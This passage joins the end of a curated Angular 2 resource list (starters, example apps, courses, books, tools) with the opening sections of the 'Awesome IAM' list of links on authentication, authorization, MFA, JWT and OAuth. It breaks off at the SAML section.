* [Github: Angular2 Starter for Javascript in ES6](https://github.com/blacksonic/angular2-es6-starter) Automated Gulp workflow with example CRUD application.
* [Github: Angular2 Seed TypeScript (Matthias Schuetz)](https://github.com/matthias-schuetz/angular2-seed) A complete, yet simple, starter for Angular 2 using TypeScript.
* [Github: Angular2 boilerplate on steroids (Pedro Eugenio)](https://github.com/voxmachina/angular2-boilerplate) This is an Angular 2 fullstack project boilerplate on steroids! Aimed at reaching top notch performance levels.
* [Github: Laravel Angular2 Material Boilerplate](https://github.com/Vivify-Ideas/Laravel5-Angular2-Material) Laravel and Angular 2 integration.
### Example Apps
* [Yatrum.com - App for Travellers](https://github.com/aviabird/yatrum)
* [ng2do (David East)](https://github.com/davideast/ng2do)
* [ng-conf 2015 Demo (Microsoft)](https://github.com/Microsoft/ngconf2015demo)
* [ng2chat (Rob Wormald)](https://github.com/robwormald/ng2chat)
* [angular2-tuber (Alex Hawkins)](https://github.com/alexhawkins/angular2-tuber) *A YouTube Search Engine built with Angular2*
* [ng2-random-user (Kent C. Dodds)](http://kentcdodds.com/ng2-random-user/) *Simple Random User Card getter using [randomuser.me](https://randomuser.me/)*
* [hn-ng2 (Harry Wolff)](http://hswolff.github.io/hn-ng2/) *Hacker News implemented with Angular2. [Dart version (Andres Araujo)](https://github.com/andresaraujo/ng2_hackernews)*
* [NG2 Challenges](https://github.com/ShMcK/ng2Challenges) *Challenges to help you learn and understand the evolving Angular2 Framework.*
* [Angular 2 and Express - Heroku ready (Vlado Tešanović)](https://github.com/vladotesanovic/angular2-express-starter)
* [cart2 (Ciro Nunes)](https://github.com/cironunes/cart2)
* [Developing a MEAN app with Angular 2.0 (Arvind Ravulavaru)](http://thejackalofjavascript.com/developing-a-mean-app-with-angular-2-0/)
* [JWT authentication in Angular 2 (mgonto and gdi2290)](https://github.com/auth0/angular2-authentication-sample)
* [Add authentication to an Angular 2 app](https://github.com/auth0/angular2-authentication-sample)
* [Angular Reading Position Indicator](https://github.com/mrzepinski/angular-rpi)
* [d3 directives from Angular 1 to Angular 2 (gdi2290)](https://github.com/gdi2290/ng-vegas-angular2-d3)
* [Angular 2 Carousel component with Bootstrap](https://github.com/mlaval/angular2-bootstrap)
* [Angular 2 Bootstrap Style Modal (Shlomi Assaf)](https://github.com/shlomiassaf/ngx-modialog)
* [Chat Application using RxJS (ng-book)](https://github.com/ng-book/angular2-rxjs-chat/)
* [Todo app with Firebase, OAuth, and Immutable](https://github.com/r-park/todo-angular2-firebase)
* [Angular 2 Table pagination example + Java Spring Backend ](https://github.com/zouabimourad/angular2-spring)
* [Dribbble Clone using Angular 2](https://github.com/mohammedzamakhan/ng2-dribbble)
* [Angular2 Leaflet Starter](https://github.com/haoliangyu/angular2-leaflet-starter)
* [Angular2 MapboxGL Starter](https://github.com/haoliangyu/angular2-mapboxgl-starter)
* [Angular 2 & TypeScript implementation of the Responsive Dashboard (RDash) admin dashboard theme @ziyasal](https://github.com/ziyasal/rdash-angular2)
* [Angular 2 Chosen wrapper](https://github.com/zouabimourad/angular2-chosen)
* [Angular 2 Money, dates and datetimes input handling](https://github.com/zouabimourad/angular2-datetime-money)
* [Auth0, Angular 2: The new horizon](https://github.com/auth0/angular2-the-new-horizon-sample)
* [Angular 2 Blog](https://github.com/previousdeveloper/angular2-blog)
* [Angular 2 Samples(Torgeir Helgevold)](https://github.com/thelgevold/angular-2-samples)
* [angular2-demo](https://github.com/amcdnl/angular2-demo) Minimal Angular2 Demo using TypeScript / Sass / Npm Tasks
* [TV Tracker](https://github.com/mattlewis92/angular2-tv-tracker)
* [Go Game](https://github.com/lys1030/ng-go)
* [Stock Portfolio](https://github.com/paulhoughton/portfolio/)
* [Echoes Player open source app in ng2](http://github.com/orizens/echoes-ng2)
* [Sequence Alignment Calculator (@radotzki)](https://radotzki.github.io/sequence-alignment/)
* [Directive checking if an element is within the browsers visual viewport (@k3nsei)](https://github.com/k3nsei/angular2-in-viewport)
* [Directive checking if clicked inside elementRef or outside (@k3nsei)](https://github.com/k3nsei/angular2-click-outside)
* [Angular 2 Chess (@shlomiassaf)](https://github.com/shlomiassaf/ng2-chess)
* [MeetUpEvent (Angular2, Firebase)](https://github.com/jerry-i/meetup-events)
* [SoundCloud API client with Angular2, NgRx/Store and NgRx/Effects](https://github.com/r-park/soundcloud-ngrx)
+ [Angular 2 AOT (Ahead-of-Time) Compilation with Webpack](https://github.com/blacksonic/angular2-aot-webpack)
* [Ng-Chat - Angular 2 Websocket Messenger Application](https://github.com/elliotforbes/ng-chat)
* [Angular Admin Dashboard](https://github.com/elliotforbes/angular-2-admin)
* [Efficient virtual scrolling demo](https://github.com/dinony/od-vsadvanced) RxJS / Angular Material / Reactive Forms / SystemJS
### Live Code Experiments
* [Angular 1 with Angular 2 Dependency Injection (Rob Wormald)](http://plnkr.co/edit/cc9wXp?p=preview)
* [angular2-playground (Sekib Omazic)](https://github.com/SekibOmazic/angular2-playground)
* [jsBin ES5 Angular 2 (gdi2290)](http://jsbin.com/fimucu/10/edit?js,output)
### Angular Material
* [Official Angular 2 Material Components (very early stage of its development process)](https://github.com/angular/material2)
### Stack Overflow Questions
* [Working with Angular 2](http://stackoverflow.com/questions/29050752/working-with-angular-2)
* [How to Import the HTTP module](http://stackoverflow.com/questions/28910864/angular-2-how-to-use-import-the-http-module)
* [How to Import Immutable.js](http://stackoverflow.com/questions/29527024/how-do-i-import-immutable-js-into-angular-2-alpha)
### Classes
* [Free Udemy Course - Angular 2 Fundamentals](https://www.udemy.com/angular-2-fundamentals)
* [Udemy - The Complete Guide to Angular 2](https://www.udemy.com/the-complete-guide-to-angular-2)
* [Udemy - Angular 2 with TypeScript for Beginners: The Pragmatic Guide](https://www.udemy.com/angular-2-tutorial-for-beginners/)
* [Udemy - Introduction to Angular 2](https://www.udemy.com/introduction-to-angular2/)
* [Udemy - Angular 2 - Concepts, Code and Collective Wisdom](https://www.udemy.com/angular-2-concepts-code-and-collective-wisdom/?couponCode=timjacobi)
* [Egghead.io Angular 2](https://egghead.io/technologies/angular2)
* [Angular Boot Camp](http://angularbootcamp.com)
* [AngularClass](https://angularclass.com)
* [Web Age Solutions - Angular 2 Programming](http://www.webagesolutions.com/courses/WA2533-angular-2-programming)
* [Angular 2 For Beginners With Typescript (inc. Firebase App)](https://www.udemy.com/angular-2-fundamentals-with-typescript-for-pro-developers-systemjs/)
* [Angular University - Premium Quality Tutorials on Angular 2 and its Ecosystem](https://angular-university.io/)
### Books
* [Rangle.io : Introduction to Angular 2 and ngCourse2](http://ngcourse.rangle.io/)
* [ng-book 2 (Ari Lerner)](https://www.ng-book.com/2/)
* [Become a ninja with Angular](https://books.ninja-squad.com/angular)
* [Angular 2 in action](https://www.manning.com/books/angular-in-action)
* [Angular 2 - A Practical Introduction to the New Web Development Platform](https://leanpub.com/angular2-book)
* [Practical Angular 2](https://leanpub.com/practical-angular-2)
* [Angular 2 Development with TypeScript](https://www.manning.com/books/angular-2-development-with-typescript)
* [Switching to Angular 2](https://www.packtpub.com/web-development/switching-angular-2)
* [Mastering Angular 2 Components](https://www.packtpub.com/web-development/mastering-angular-2-components)
* [Testing Angular 2 Applications](https://manning.com/books/testing-angular-2-applications)
### Tools
* [Babel plugin for Angular @ annotations](https://github.com/shuhei/babel-plugin-angular2-annotations)
* [Angular2 Snippets for Sublime Text](https://github.com/evanplaice/angular2-snippets)
* [Angular 2 Style Guide WebStorm Live Templates](https://github.com/d3viant0ne/angular2-webstorm-templates)
* [Codelyzer - A set of tslint rules for static code analysis of Angular 2 TypeScript projects.](https://github.com/mgechev/codelyzer)
### Opinions
* [Angular 2.0 is a tempest we should all embrace (Ed Gordon)](https://www.packtpub.com/books/content/angularjs-2-the-tempest-we-should-all-embrace)
### Social Media
* [Gitter Channel](https://gitter.im/angular/angular)
* [#angular2 on Twitter](https://twitter.com/hashtag/angular2)
* [@angularjs on Twitter](https://twitter.com/angularjs)
* [#angularjs at Freenode](http://webchat.freenode.net/?channels=angularjs&uio=d4)
* [Angular2 Group on Facebook](https://www.facebook.com/groups/angular2/)
* [Angularjs on Google+](https://plus.google.com/+AngularJS/posts)
* [/r/Angular2 on Reddit](https://www.reddit.com/r/Angular2)
### Angular Dart
* [Angular2 Dart API cheatsheet](https://docs.google.com/document/d/1FYyA-b9rc2UtlYyQXjW7lx4Y08MSpuWcbbuqVCxHga0/edit#heading=h.34sus6g4zss3)
* [Angular2 Dart cheatsheet](https://github.com/andresaraujo/angular2_cheatsheet_dart)
* [Angular2 Dart Gnome Tutorial app](https://github.com/sanfordredlich/angular2-dart-gnome-example-app)
* [Angular2 Dart Router demo](https://github.com/rkirov/angular2-dart-router-demo/tree/master/angular2)
### TypeScript Definitions
* [DefinitelyTyped](http://definitelytyped.org/tsd/)
### Best Practices and Style Guidelines
* [Official Angular 2 Style Guide](https://angular.io/docs/ts/latest/guide/style-guide.html)
### Related Lists
* [AngularJS Education - A collection of useful resources to learn and improve your AngularJS skills](https://github.com/timjacobi/angular-education)
* [TypeScript Education - A list of helpful material to start learning TypeScript](https://github.com/lennonjesus/typescript-education)
|
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<p align="center">
<a href="https://github.com/kdeldycke/awesome-iam/">
<img src="https://github.com/kdeldycke/awesome-iam/raw/main/assets/awesome-iam-header.jpg" alt="Awesome IAM">
</a>
</p>
<p align="center">
<strong>A curated list of resources on managing accounts, users, roles,
permissions, authentication and authorization.</strong>
<a href="https://github.com/sindresorhus/awesome"><img src="https://awesome.re/badge-flat.svg" alt="Awesome"></a>
</p>
<p align="center">
<i>Trusting is hard. Knowing who to trust, even harder.</i><br>
— Maria V. Snyder<sup id="intro-quote-ref"><a href="#intro-quote-def">[1]</a></sup>
</p>
<!--lint disable double-link-->
[IAM](https://en.wikipedia.org/wiki/Identity_management) stands for Identity and Access Management. But is more than handling user accounts: it encompass authentication, authorization and privacy, making this perimeter quite complex. It is an essential pillar of the cloud stack, where users, products and security meets. The [other pillar being billing & payments 💰](https://github.com/kdeldycke/awesome-billing/).
This knowledge base expose all the technologies, protocols and jargon of the domain in a comprehensive and actionable manner.
<!--lint enable double-link-->
## Contents
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- [Overview](#overview)
- [Security](#security)
- [Account Management](#account-management)
- [Cryptography](#cryptography)
- [Zero-trust Network](#zero-trust-network)
- [Authentication](#authentication)
- [Password-based](#password-based)
- [Password-less](#password-less)
- [Security Key](#security-key)
- [Multi-Factor](#multi-factor)
- [SMS-based](#sms-based)
- [Public-Key Infrastructure (PKI)](#public-key-infrastructure-pki)
- [JWT](#jwt)
- [OAuth2 & OpenID](#oauth2--openid)
- [SAML](#saml)
- [Authorization](#authorization)
- [Policy models](#policy-models)
- [Open-source policy frameworks](#open-source-policy-frameworks)
- [AWS policy tools](#aws-policy-tools)
- [Macaroons](#macaroons)
- [Secret Management](#secret-management)
- [Hardware Security Module (HSM)](#hardware-security-module-hsm)
- [Trust & Safety](#trust--safety)
- [User Identity](#user-identity)
- [Fraud](#fraud)
- [Moderation](#moderation)
- [Threat Intelligence](#threat-intelligence)
- [Captcha](#captcha)
- [Blocklists](#blocklists)
- [Hostnames and Subdomains](#hostnames-and-subdomains)
- [Emails](#emails)
- [Reserved IDs](#reserved-ids)
- [Profanity](#profanity)
- [Privacy](#privacy)
- [Anonymization](#anonymization)
- [GDPR](#gdpr)
- [UX/UI](#uxui)
- [Commercial Solutions](#commercial-solutions)
- [Competitive Analysis](#competitive-analysis)
- [History](#history)
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## Overview
<img align="right" width="50%" src="./assets/cloud-software-stack-iam.jpg"/>
In a Stanford class providing an [overview of cloud computing](http://web.stanford.edu/class/cs349d/docs/L01_overview.pdf), the software architecture of the platform is described as in the right diagram →
Here we set out the big picture: definition and strategic importance of the domain, its place in the larger ecosystem, plus some critical features.
- [The EnterpriseReady SaaS Feature Guides](https://www.enterpriseready.io) - The majority of the features making B2B users happy will be implemented by the IAM perimeter.
- [IAM is hard. It's really hard.](https://twitter.com/kmcquade3/status/1291801858676228098) - “Overly permissive AWS IAM policies that allowed `s3:GetObject` to `*` (all) resources”, led to $80 million fine for Capital One. The only reason why you can't overlook IAM as a business owner.
- [IAM Is The Real Cloud Lock-In](https://forrestbrazeal.com/2019/02/18/cloud-irregular-iam-is-the-real-cloud-lock-in/) - A little *click-baity*, but author admit that “It depends on how much you trust them to 1. Stay in business; 2. Not jack up your prices; 3. Not deprecate services out from under you; 4. Provide more value to you in business acceleration than they take away in flexibility.”
## Security
Security is one of the most central pillar of IAM foundations. Here are some broad concepts.
- [Enterprise Information Security](https://infosec.mozilla.org) - Mozilla's security and access guidelines.
- [Mitigating Cloud Vulnerabilities](https://media.defense.gov/2020/Jan/22/2002237484/-1/-1/0/CSI-MITIGATING-CLOUD-VULNERABILITIES_20200121.PDF) - “This document divides cloud vulnerabilities into four classes (misconfiguration, poor access control, shared tenancy vulnerabilities, and supply chain vulnerabilities)”.
- [Cartography](https://github.com/lyft/cartography) - A Neo4J-based tool to map out dependencies and relationships between services and resources. Supports AWS, GCP, GSuite, Okta and GitHub.
- [Open guide to AWS Security and IAM](https://github.com/open-guides/og-aws#security-and-iam)
## Account Management
The foundation of IAM: the definition and life-cycle of users, groups, roles and permissions.
- [As a user, I want…](https://mobile.twitter.com/oktopushup/status/1030457418206068736) - A meta-critic of account management, in which features expected by the business clash with real user needs, in the form of user stories written by a fictional project manager.
- [Things end users care about but programmers don't](https://instadeq.com/blog/posts/things-end-users-care-about-but-programmers-dont/) - In the same spirit as above, but broader: all the little things we overlook as developers but users really care about. In the top of that list lies account-centric features, diverse integration and import/export tools. I.e. all the enterprise customers needs to cover.
- [Separate the account, user and login/auth details](https://news.ycombinator.com/item?id=21151830) - Sound advice to lay down the foundation of a future-proof IAM API.
- [Identity Beyond Usernames](https://lord.io/blog/2020/usernames/) - On the concept of usernames as identifiers, and the complexities introduced when unicode characters meets uniqueness requirements.
- [Kratos](https://github.com/ory/kratos) - User login, user registration, 2FA and profile management.
- [Conjur](https://github.com/cyberark/conjur) - Automatically secures secrets used by privileged users and machine identities.
## Cryptography
The whole authentication stack is based on cryptography primitives. This can't be overlooked.
- [Cryptographic Right Answers](https://latacora.micro.blog/2018/04/03/cryptographic-right-answers.html) - An up to date set of recommendations for developers who are not cryptography engineers. There's even a [shorter summary](https://news.ycombinator.com/item?id=16749140) available.
- [Security Recommendations for Any Device that Depends on Randomly-Generated Numbers](https://www.av8n.com/computer/htm/secure-random.htm) - “The phrase ‘random number generator’ should be parsed as follows: It is a random generator of numbers. It is not a generator of random numbers.”
- [Real World Crypto Symposium](https://rwc.iacr.org) - Aims to bring together cryptography researchers with developers, focusing on uses in real-world environments such as the Internet, the cloud, and embedded devices.
- [An Overview of Cryptography](https://www.garykessler.net/library/crypto.html) - “This paper has two major purposes. The first is to define some of the terms and concepts behind basic cryptographic methods, and to offer a way to compare the myriad cryptographic schemes in use today. The second is to provide some real examples of cryptography in use today.”
- [Papers we love: Cryptography](https://github.com/papers-we-love/papers-we-love/blob/master/cryptography/README.md) - Foundational papers of cryptography.
- [Lifetimes of cryptographic hash functions](http://valerieaurora.org/hash.html) - “If you are using compare-by-hash to generate addresses for data that can be supplied by malicious users, you should have a plan to migrate to a new hash every few years”.
## Zero-trust Network
Zero trust network security operates under the principle “never trust, always verify”.
- [BeyondCorp: A New Approach to Enterprise Security](https://www.usenix.org/system/files/login/articles/login_dec14_02_ward.pdf) - Quick overview of Google's Zero-trust Network initiative.
- [What is BeyondCorp? What is Identity-Aware Proxy?](https://medium.com/google-cloud/what-is-beyondcorp-what-is-identity-aware-proxy-de525d9b3f90) - More companies add extra layers of VPNs, firewalls, restrictions and constraints, resulting in a terrible experience and a slight security gain. There's a better way.
- [oathkeeper](https://github.com/ory/oathkeeper) - Identity & Access Proxy and Access Control Decision API that authenticates, authorizes, and mutates incoming HTTP requests. Inspired by the BeyondCorp / Zero Trust white paper.
- [transcend](https://github.com/cogolabs/transcend) - BeyondCorp-inspired Access Proxy server.
- [Pomerium](https://github.com/pomerium/pomerium) - An identity-aware proxy that enables secure access to internal applications.
## Authentication
Protocols and technologies to verify that you are who you pretend to be.
- [Scaling backend authentication at Facebook](https://www.youtube.com/watch?v=kY-Bkv3qxMc) - How-to in a nutshell: 1. Small root of trust; 2. TLS isn't enough; 3. Certificate-based tokens; 4. Crypto Auth Tokens (CATs). See the [slides](https://rwc.iacr.org/2018/Slides/Lewi.pdf) for more details.
### Password-based
- [The new NIST password guidance](https://pciguru.wordpress.com/2019/03/11/the-new-nist-password-guidance/) - A summary of [NIST Special Publication 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html) covering new password complexity guidelines.
- [Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) - The only way to slow down offline attacks is by carefully choosing hash algorithms that are as resource intensive as possible.
- [Password expiration is dead](https://techcrunch.com/2019/06/02/password-expiration-is-dead-long-live-your-passwords/) - Recent scientific research calls into question the value of many long-standing password-security practices such as password expiration policies, and points instead to better alternatives such as enforcing banned-password lists and MFA.
- [Practical Recommendations for Stronger, More Usable Passwords](http://www.andrew.cmu.edu/user/nicolasc/publications/Tan-CCS20.pdf) - This study recommend the association of: blocklist checks against commonly leaked passwords, password policies without character-class requirements, minimum-strength policies.
- [Banks, Arbitrary Password Restrictions and Why They Don't Matter](https://www.troyhunt.com/banks-arbitrary-password-restrictions-and-why-they-dont-matter/) - “Arbitrary low limits on length and character composition are bad. They look bad, they lead to negative speculation about security posture and they break tools like password managers.”
- [Dumb Password Rules](https://github.com/dumb-password-rules/dumb-password-rules) - Shaming sites with dumb password rules.
- [Plain Text Offenders](https://plaintextoffenders.com/about/) - Public shaming of websites storing passwords in plain text.
- [Password Manager Resources](https://github.com/apple/password-manager-resources) - A collection of password rules, change URLs and quirks by sites.
- [A Well-Known URL for Changing Passwords](https://github.com/WICG/change-password-url) - Specification defining site resource for password updates.
- [How to change the hashing scheme of already hashed user's passwords](https://news.ycombinator.com/item?id=20109360) - Good news: you're not stuck with a legacy password saving scheme. Here is a trick to transparently upgrade to stronger hashing algorithm.
### Password-less
- [An argument for passwordless](https://web.archive.org/web/20190515230752/https://biarity.gitlab.io/2018/02/23/passwordless/) - Passwords are not the be-all and end-all of user authentication. This article tries to tell you why.
- [WebAuthn guide](https://webauthn.guide) - A very accessible guide to WebAuthn, a standard allowing “servers to register and authenticate users using public key cryptography instead of a password”, supported by all major browsers.
### Security Key
- [Webauthn and security keys](https://www.imperialviolet.org/2018/03/27/webauthn.html) - Describe how authentication works with security keys, details the protocols, and how they articulates with WebAuthn. Key takeaway: “There is no way to create a U2F key with webauthn however. (…) So complete the transition to webauthn of your login process first, then transition registration.”
- [Getting started with security keys](https://paulstamatiou.com/getting-started-with-security-keys/) - A practical guide to stay safe online and prevent phishing with FIDO2, WebAuthn and security keys.
- [Solo](https://github.com/solokeys/solo) - Open security key supporting FIDO2 & U2F over USB + NFC.
- [OpenSK](https://github.com/google/OpenSK) - Open-source implementation for security keys written in Rust that supports both FIDO U2F and FIDO2 standards.
- [YubiKey Guide](https://github.com/drduh/YubiKey-Guide) - Guide to using YubiKey as a SmartCard for storing GPG encryption, signing and authentication keys, which can also be used for SSH. Many of the principles in this document are applicable to other smart card devices.
- [YubiKey at Datadog](https://github.com/DataDog/yubikey) - Guide to setup Yubikey, U2F, GPG, git, SSH, Keybase, VMware Fusion and Docker Content Trust.
### Multi-Factor
- [Breaking Password Dependencies: Challenges in the Final Mile at Microsoft](https://www.youtube.com/watch?v=B_mhJO2qHlQ) - The primary source of account hacks is password spraying (on legacy auth like SMTP, IMAP, POP, etc.), second is replay attack. Takeaway: password are insecure, use and enforce MFA.
- [Beyond Passwords: 2FA, U2F and Google Advanced Protection](https://www.troyhunt.com/beyond-passwords-2fa-u2f-and-google-advanced-protection/) - An excellent walk-trough over all these technologies.
- [A Comparative Long-Term Study of Fallback Authentication](https://www.mobsec.ruhr-uni-bochum.de/media/mobsec/veroeffentlichungen/2019/02/20/usec2019-30-wip-fallback-long-term-study-finalv2.pdf) - Key take-away: “schemes based on email and SMS are more usable. Mechanisms based on designated trustees and personal knowledge questions, on the other hand, fall short, both in terms of convenience and efficiency.”
- [Secrets, Lies, and Account Recovery: Lessons from the Use of Personal Knowledge Questions at Google](https://static.googleusercontent.com/media/research.google.com/en/us/pubs/archive/43783.pdf) - “Our analysis confirms that secret questions generally offer a security level that is far lower than user-chosen passwords. (…) Surprisingly, we found that a significant cause of this insecurity is that users often don't answer truthfully. (…) On the usability side, we show that secret answers have surprisingly poor memorability”.
- [How effective is basic account hygiene at preventing hijacking](https://security.googleblog.com/2019/05/new-research-how-effective-is-basic.html) - Google security team's data shows 2FA blocks 100% of automated bot hacks.
- [Your Pa$$word doesn't matter](https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Your-Pa-word-doesn-t-matter/ba-p/731984) - Same conclusion as above from Microsoft: “Based on our studies, your account is more than 99.9% less likely to be compromised if you use MFA.”
- [Attacking Google Authenticator](https://unix-ninja.com/p/attacking_google_authenticator) - Probably on the verge of paranoia, but might be a reason to rate limit 2FA validation attempts.
- [Compromising online accounts by cracking voicemail systems](https://www.martinvigo.com/voicemailcracker/) - Or why you should not rely on automated phone calls as a method to reach the user and reset passwords, 2FA or for any kind of verification. Not unlike SMS-based 2FA, it is currently insecure and can be compromised by the way of its weakest link: voicemail systems.
- [Getting 2FA Right in 2019](https://blog.trailofbits.com/2019/06/20/getting-2fa-right-in-2019/) - On the UX aspects of 2FA.
- [2FA is missing a key feature](https://syslog.ravelin.com/2fa-is-missing-a-key-feature-c781c3861db) - “When my 2FA code is entered incorrectly I'd like to know about it”.
### SMS-based
TL;DR: don't. For details, see articles below.
- [SMS 2FA auth is deprecated by NIST](https://techcrunch.com/2016/07/25/nist-declares-the-age-of-sms-based-2-factor-authentication-over/) - NIST has said that 2FA via SMS is bad and awful since 2016.
- [SMS: The most popular and least secure 2FA method](https://www.allthingsauth.com/2018/02/27/sms-the-most-popular-and-least-secure-2fa-method/)
- [Is SMS 2FA Secure? No.](https://www.issms2fasecure.com) - Definitive research project demonstrating successful attempts at SIM swapping.
- [Hackers Hit Twitter C.E.O. Jack Dorsey in a 'SIM Swap.' You're at Risk, Too.](https://www.nytimes.com/2019/09/05/technology/sim-swap-jack-dorsey-hack.html)
- [AT\&T rep handed control of his cellphone account to a hacker](https://www.theregister.co.uk/2017/07/10/att_falls_for_hacker_tricks/)
- [The Most Expensive Lesson Of My Life: Details of SIM port hack](https://medium.com/coinmonks/the-most-expensive-lesson-of-my-life-details-of-sim-port-hack-35de11517124)
- [SIM swap horror story](https://www.zdnet.com/article/sim-swap-horror-story-ive-lost-decades-of-data-and-google-wont-lift-a-finger/)
- [AWS is on its way to deprecate SMS-based 2FA](https://aws.amazon.com/iam/details/mfa/) - “We encourage you to use MFA through a U2F security key, hardware device, or virtual (software-based) MFA device. You can continue using this feature until January 31, 2019.”
### Public-Key Infrastructure (PKI)
Certificate-based authentication.
- [PKI for busy people](https://rehn.me/posts/pki-for-busy-people.html) - Quick overview of the important stuff.
- [Everything you should know about certificates and PKI but are too afraid to ask](https://smallstep.com/blog/everything-pki.html) - PKI lets you define a system cryptographically. It's universal and vendor neutral.
- [`lemur`](https://github.com/Netflix/lemur) - Acts as a broker between CAs and environments, providing a central portal for developers to issue TLS certificates with 'sane' defaults.
- [CFSSL](https://github.com/cloudflare/cfssl) - A swiss army knife for PKI/TLS by CloudFlare. Command line tool and an HTTP API server for signing, verifying, and bundling TLS certificates.
- [JA3](https://github.com/salesforce/ja3) - Method for creating SSL/TLS client fingerprints that should be easy to produce on any platform and can be easily shared for threat intelligence.
### JWT
[JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token) is a bearer's token.
- [Introduction to JSON Web Tokens](https://jwt.io/introduction/) - Get up to speed on JWT with this article.
- [Learn how to use JWT for Authentication](https://github.com/dwyl/learn-json-web-tokens) - Learn how to use JWT to secure your web app.
- [Using JSON Web Tokens as API Keys](https://auth0.com/blog/using-json-web-tokens-as-api-keys/) - Compared to API keys, JWTs offers granular security, homogenous auth architecture, decentralized issuance, OAuth2 compliance, debuggability, expiration control, device management.
- [Managing a Secure JSON Web Token Implementation](https://cursorblog.com/managing-a-secure-json-web-token-implementation/) - JWT has all sorts of flexibility that make it hard to use well.
- [Hardcoded secrets, unverified tokens, and other common JWT mistakes](https://r2c.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/) - A good recap of all JWT pitfalls.
- [Adding JSON Web Token API Keys to a DenyList](https://auth0.com/blog/denylist-json-web-token-api-keys/) - On token invalidation.
- [Stop using JWT for sessions](http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/) - And [why your "solution" doesn't work](http://cryto.net/%7Ejoepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/), because [stateless JWT tokens cannot be invalidated or updated](https://news.ycombinator.com/item?id=18354141). They will introduce either size issues or security issues depending on where you store them. Stateful JWT tokens are functionally the same as session cookies, but without the battle-tested and well-reviewed implementations or client support.
- [JWT, JWS and JWE for Not So Dummies\!](https://medium.facilelogin.com/jwt-jws-and-jwe-for-not-so-dummies-b63310d201a3) - A signed JWT is known as a JWS (JSON Web Signature). In fact a JWT does not exist itself — either it has to be a JWS or a JWE (JSON Web Encryption). Its like an abstract class — the JWS and JWE are the concrete implementations.
- [JOSE is a Bad Standard That Everyone Should Avoid](https://paragonie.com/blog/2017/03/jwt-json-web-tokens-is-bad-standard-that-everyone-should-avoid) - The standards are either completely broken or complex minefields hard to navigate.
- [JWT.io](https://jwt.io) - Allows you to decode, verify and generate JWT.
- [`loginsrv`](https://github.com/tarent/loginsrv) - Standalone minimalistic login server providing a JWT login for multiple login backends (htpasswd, OSIAM, user/password, HTTP basic authentication, OAuth2: GitHub, Google, Bitbucket, Facebook, Gitlab).
### OAuth2 & OpenID
[OAuth 2.0](https://en.wikipedia.org/wiki/OAuth#OAuth_2.0) is an authorization framework. [OpenID Connect (OIDC)](https://en.wikipedia.org/wiki/OpenID_Connect) is an authentication layer on top of it.
The old *OpenID* is dead; the new *OpenID Connect* is very much not-dead.
- [An Illustrated Guide to OAuth and OpenID Connect](https://developer.okta.com/blog/2019/10/21/illustrated-guide-to-oauth-and-oidc) - Explain how these standards work using simplified illustrations.
- [OAuth 2 Simplified](https://aaronparecki.com/oauth-2-simplified/) - A reference article describing the protocol in simplified format to help developers and service providers implement it.
- [OAuth 2.0 and OpenID Connect (in plain English)](https://www.youtube.com/watch?v=996OiexHze0) - Starts with an historical context on how these standards came to be, clears up the innacuracies in the vocabulary, then details the protocols and its pitfalls to make it less intimidating.
- [Everything You Need to Know About OAuth (2.0)](https://gravitational.com/blog/everything-you-need-to-know-about-oauth/) - A good overview with a practical case study on how Teleport, an open-source remote access tool, allows users to log in through GitHub SSO.
- [OAuth in one picture](https://mobile.twitter.com/kamranahmedse/status/1276994010423361540) - A nice summary card.
- [How to Implement a Secure Central Authentication Service in Six Steps](https://engineering.shopify.com/blogs/engineering/implement-secure-central-authentication-service-six-steps) - Got multiple legacy systems to merge with their own login methods and accounts? Here is how to merge all that mess by the way of OIDC.
- [Open-Sourcing BuzzFeed's SSO Experience](https://increment.com/security/open-sourcing-buzzfeeds-single-sign-on-process/) - OAuth2-friendly adaptation of the Central Authentication Service (CAS) protocol. You'll find there good OAuth user flow diagrams.
- [The Decline of OpenID](https://penguindreams.org/blog/the-decline-of-openid/) - OpenID is being replaced in the public web to a mix of OAuth 1, OAuth 2 or other proprietary SSO protocols.
- [Why Mastercard Doesn't Use OAuth 2.0](https://developer.mastercard.com/blog/why-mastercard-doesnt-use-oauth-20) - “They did this to provide message-level integrity. OAuth 2 switched to Transport-level confidentiality/Integrity.” (which TLS provides) ([source](https://news.ycombinator.com/item?id=17486165)).
- [OAuth 2.0 Security Best Current Practice](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-16) - “Updates and extends the OAuth 2.0 Security Threat Model to incorporate practical experiences gathered since OAuth 2.0 was published and covers new threats relevant due to the broader application”.
- [Hidden OAuth attack vectors](https://portswigger.net/web-security/oauth) - How to identify and exploit some of the key vulnerabilities found in OAuth 2.0 authentication mechanisms.
- [PKCE Explained](https://www.loginradius.com/engineering/blog/pkce/) - “PKCE is used to provide one more security layer to the authorization code flow in OAuth and OpenID Connect.”
- [Hydra](https://gethydra.sh) - Open-source OIDC & OAuth2 Server.
- [Cierge](https://web.archive.org/web/20190402111431/https://pwdless.github.io/Cierge-Website/) - Open-source authentication server (OIDC) that handles user signup, login, profiles, management, and more.
- [Keycloak](https://www.keycloak.org) - Open-source Identity and Access Management. Supports OIDC, OAuth 2 and SAML 2, LDAP and AD directories, password policies.
- [Casdoor](https://github.com/casbin/casdoor) - A UI-first centralized authentication / Single-Sign-On (SSO) platform based. Supports OIDC and OAuth 2, social logins, user management, 2FA based on Email and SMS.
- [IdentityServer](https://github.com/IdentityServer/IdentityServer4) - Free, open source OpenID Connect and OAuth 2.0 framework for ASP.NET Core.
- [authentik](https://goauthentik.io/?#correctness) - Open-source Identity Provider similar to Keycloak.
- [ZITADEL](https://github.com/caos/zitadel) - An Open-Source solution built with Go and Angular to manage all your systems, users and service accounts together with their roles and external identities. ZITADEL provides you with OIDC, OAuth 2.0, login & register flows, passwordless and MFA authentication. All this is built on top of eventsourcing in combination with CQRS to provide a great audit trail.
### SAML
Security Assertion Markup Language (SAML) 2.0 is a means to exchange authorization and authentication between services, like OAuth/OpenID protocols above.
Typical SAML identity provider is an institution or a big corporation's internal SSO, while the typical OIDC/OAuth provider is a tech company that runs a data silo.
